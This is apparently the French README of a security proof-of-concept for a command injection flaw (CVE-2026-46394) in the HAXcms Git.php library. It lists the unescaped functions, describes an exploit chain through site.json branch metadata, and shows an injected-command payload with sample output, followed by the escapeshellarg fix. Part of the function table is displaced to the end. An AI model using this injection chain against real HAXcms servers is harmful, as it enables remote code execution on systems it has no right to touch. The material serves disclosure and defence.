
PoC et analyse pour CVE-2026-46394 : injection de commandes OS dans HAXcms Git.php (CWE-78). Recherche de sécurité autorisée uniquement.
Git.php de HAXcmsPreuve de concept pour tests de sécurité autorisés et recherche uniquement. La vulnérabilité décrite ici est corrigée dans la dernière version de HAXcms. Cette PoC est publiée afin que les défenseurs et les chercheurs puissent vérifier le problème sur des instances non patchées qu'ils possèdent ou pour lesquelles ils sont explicitement autorisés à effectuer des tests.
| CVE | CVE-2026-46394 |
| Composant | Backend PHP de HAXcms - system/backend/php/lib/Git.php |
| Vulnérabilité | Injection de commandes OS (CWE-78) |
| Sévérité | Élevée - CVSS 3.1 7.2 seul / 8.1 en chaîne avec traversée de répertoire |
| Statut | Corrigée en amont. Affecte les versions antérieures au correctif. |
| Projet | elmsln/HAXcms |
| Signaleur | Shreyas Challa ([email protected]) |
La bibliothèque Git.php du backend PHP de HAXcms construit des chaînes de commandes shell en concaténant des paramètres non assainis et les transmet directement à proc_open(). Parmi les 17 fonctions qui exécutent des commandes shell, une seule (commit()) utilise escapeshellarg(). Les 15 autres interpolent directement l'entrée de l'appelant dans la chaîne de commande.
Toute valeur contenant des métacaractères shell (&, ;, |, $(), backticks) qui atteint l'une de ces fonctions entraîne une exécution arbitraire de commandes OS en tant qu'utilisateur du serveur web.
La seule fonction correctement échappée est la preuve la plus évidente que l'échappement était compris et simplement omis partout ailleurs.
Chaque fonction vulnérable transite par run() → run_command() → proc_open() :
// Git.php:408-411 - construit une chaîne de commande brute
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - l'exécute via le shell système
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
Exemple vulnérable vs. la seule fonction sécurisée :
// Git.php:574 - VULNÉRABLE (aucun échappement)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SÉCURISÉE (prouve que l'auteur connaissait le motif)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| Fonction | Ligne | Commande shell | Échappé ? |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | NON |
delete_branch($branch) | 588 | branch -d $branch | NON |
checkout($branch) | 663 | checkout $branch | NON |
merge($branch) | 677 | merge $branch --no-ff | NON |
push($remote, $branch) | 785 | push $remote $branch $flags | NON |
pull($remote, $branch) | 799 | pull $remote $branch | NON |
log($format) | 813 | log --pretty=format:"$format" | NON |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | NON |
list_tags($pattern) | 763 | tag -l $pattern | NON |
clone_to($target) | 512 | clone --local $repo $target | NON |
clone_from($source) | 527 | clone --local $source $repo | NON |
clone_remote($source) | 543 | clone $source $repo | NON |
set_remote($dest, $url) | 460 | remote add $dest $url | NON |
rm($files) |
Dans la base de code livrée, ces fonctions sont invoquées avec des valeurs provenant de la configuration du serveur/site plutôt que directement des corps de requêtes, donc l'exploitation est réalisée en enchaînant :
saveOutline pour écraser le site.json d'un site, en injectant des métacaractères dans metadata.site.git.branch. Le prochain appel gitCommit() appelle push('origin', $branch) dans HAXCMSSite.php:584, exécutant la charge utile.create_branch() (Operations.php:2762) ou set_remote() (HAXCMSSite.php:625).La PoC pilote directement la bibliothèque Git.php réelle : elle crée un dépôt git jetable, appelle create_branch() avec une charge utile utilisant un séparateur de commande shell, et confirme l'exécution en vérifiant la présence d'un fichier de preuve écrit sur le disque. Elle nettoie après elle.
git dans le PATHgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
Pointer la PoC vers Git.php de votre clone HAXcms (variable d'environnement ou premier argument) ; elle découvre aussi automatiquement haxcms-php/ placé à côté :
# Option A - variable d'environnement
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - argument CLI
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
Fonctionne aussi bien sur Unix (séparateur ;) que sur Windows (séparateur &) ; la PoC sélectionne automatiquement la charge utile appropriée pour le système d'exploitation hôte.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
Appliquer escapeshellarg() à chaque paramètre dans toutes les 15 fonctions :
// AVANT
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// APRÈS
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
Défense en profondeur - valider les valeurs avant qu'elles n'atteignent la couche git :
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
Mettre à jour vers la dernière version de HAXcms, qui contient le correctif en amont.
Ce problème a été signalé aux mainteneurs de HAXcms et corrigé avant publication. La PoC n'est publiée qu'après la disponibilité d'un correctif. Utilisez-la exclusivement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests.
Ce matériel est fourni pour la recherche défensive, l'éducation et les tests de sécurité autorisés. L'exécuter contre des systèmes sans autorisation explicite peut être illégal. Vous êtes seul responsable du respect de toutes les lois applicables et de l'obtention d'une autorisation avant de tester. Fourni "en l'état" sans garantie (voir LICENSE).
| 479 |
rm $files |
| NON |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag : NON, $msg : oui |
commit($message) | 496 | commit -av -m $message | OUI (seule sécurisée) |